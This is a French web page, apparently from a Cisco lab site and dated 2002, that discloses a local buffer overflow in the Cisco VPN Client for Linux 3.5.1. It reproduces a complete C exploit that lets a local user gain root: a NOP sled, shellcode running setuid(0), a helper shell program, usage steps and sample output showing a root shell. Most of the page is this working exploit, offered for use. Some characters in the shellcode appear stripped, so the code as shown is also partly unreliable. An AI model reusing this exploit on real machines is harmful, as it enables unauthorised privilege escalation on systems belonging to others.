• Français
04-12-2008
 
 
Le Laboratoire
forum
Menu principal
Accueil
News
Tips
Articles
Letterman Subscribe




Dépassement de tampon du client VPN de Cisco
Écrit par labo-cisco   
23-06-2002
Le client VPN de Cisco permet à un utilisateur de se connecter à un dispositif VPN de Cisco en utilisant l’OS Linux

Le client VPN de Cisco permet à un utilisateur de se connecter à un dispositif VPN de Cisco en utilisant l’OS Linux. Une vulnérabilité dans le produit permet à n’importe quel utilisateur local d’obtenir les droits administrateur via un dépassement de tampon exploitable dans l’argument ‘connect’. Le dépassement de tampon survient lorsqu’un long nom de profile est spécifié.


Exploit:
/* Dépassement de tampon pour le client VPN de Cisco pour Linux
testé sur la dernière version : vpnclient-linux-3.5.1.Rel-k9.tar.gz

Pour une utilisation correcte, vous deveez mettre ce code dans un
xx.c, le compilé (en tant que xx), et placé l’executable dans /tmp (afin de passer
les restrictions PAM)

#include <stdio.h>
main() {
setuid(0);
execl("/bin/sh", "sh", NULL);
}

then compile this and run it. syntax is ./vpnclient <offset>
tested under gentoo linux and debian:
$ ls -la `which vpnclient`
-rws--x--x 1 root root 160900 Apr 13 22:34 /usr/local/bin/vpnclient
$ ./vpnKILLient
addr: 0xbffffbac, offset: 0
Cisco Systems VPN Client Version 3.5.1 (Rel)
Copyright (C) 1998-2002 Cisco Systems, Inc. All Rights Reserved.
Client Type(s): Linux
Running on: Linux 2.4.17 #1 Sat Apr 13 21:53:52 EDT 2002 i686

sh-2.05a# id
uid=0(root) gid=100(users) groups=100(users),10(wheel)

greetz: all of the angrypacket crew (of course)
shok -> pheerable^2;
vegac -> 31336++;

when you get a chance, check out http://sec.angrypacket.com
*/

#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define NOP 0x90
#define LEN 620 /* 520 to own eip */

/* shellcode by vegac (setuid(0)->/tmp/xx) */
/* wont work if your /tmp partition is mounted noexec or nosuid */
char shell[]=
"x31xc0x31xdbxb0x17xcdx80"
"x31xc0x50x68x2fx2fx78x78"
"x68x2fx74x6dx70x89xe3x31"
"xc0x50x89xe2x54x89xe1xb0"
"x0bxcdx80x00";

unsigned long get_sp (void) {
__asm__("mov %esp,%eax");
}
int main(int argc, char *argv[]) {

int i, offset=0;
long addr;
char *buf, *ptr;

if(argc > 1) offset = atoi(argv[1]);

buf = (char *)malloc(sizeof(char) * LEN);
bzero(buf, LEN);
addr = get_sp() - offset;
printf("addr: 0x%x, offset: %d ", addr, offset);

for(i = 0; i < LEN; i += 4) {
*(long *)&buf[i] = addr;
}

for(i = 0; i < (LEN / 2); i++) {
*(buf + i) = NOP;
}

ptr = buf + ((LEN / 2) - (strlen(shell) / 2));
for(i = 0; i < strlen(shell); i++) {
*(ptr++) = shell[i];
}
buf[LEN - 1] = '';

execl("/usr/local/bin/vpnclient", "vpnclient", "connect", buf, 0);
return(0);

}

Dernière mise à jour : ( 23-06-2002 )
 
< Précédent   Suivant >
CLTE - Moteur de tests en ligne
Le CLTE est le moteur de tests en ligne du Laboratoire SUPINFO des Technologies Cisco.
Connectez-vous ! Création d'un compte gratuit
 
Top! Top!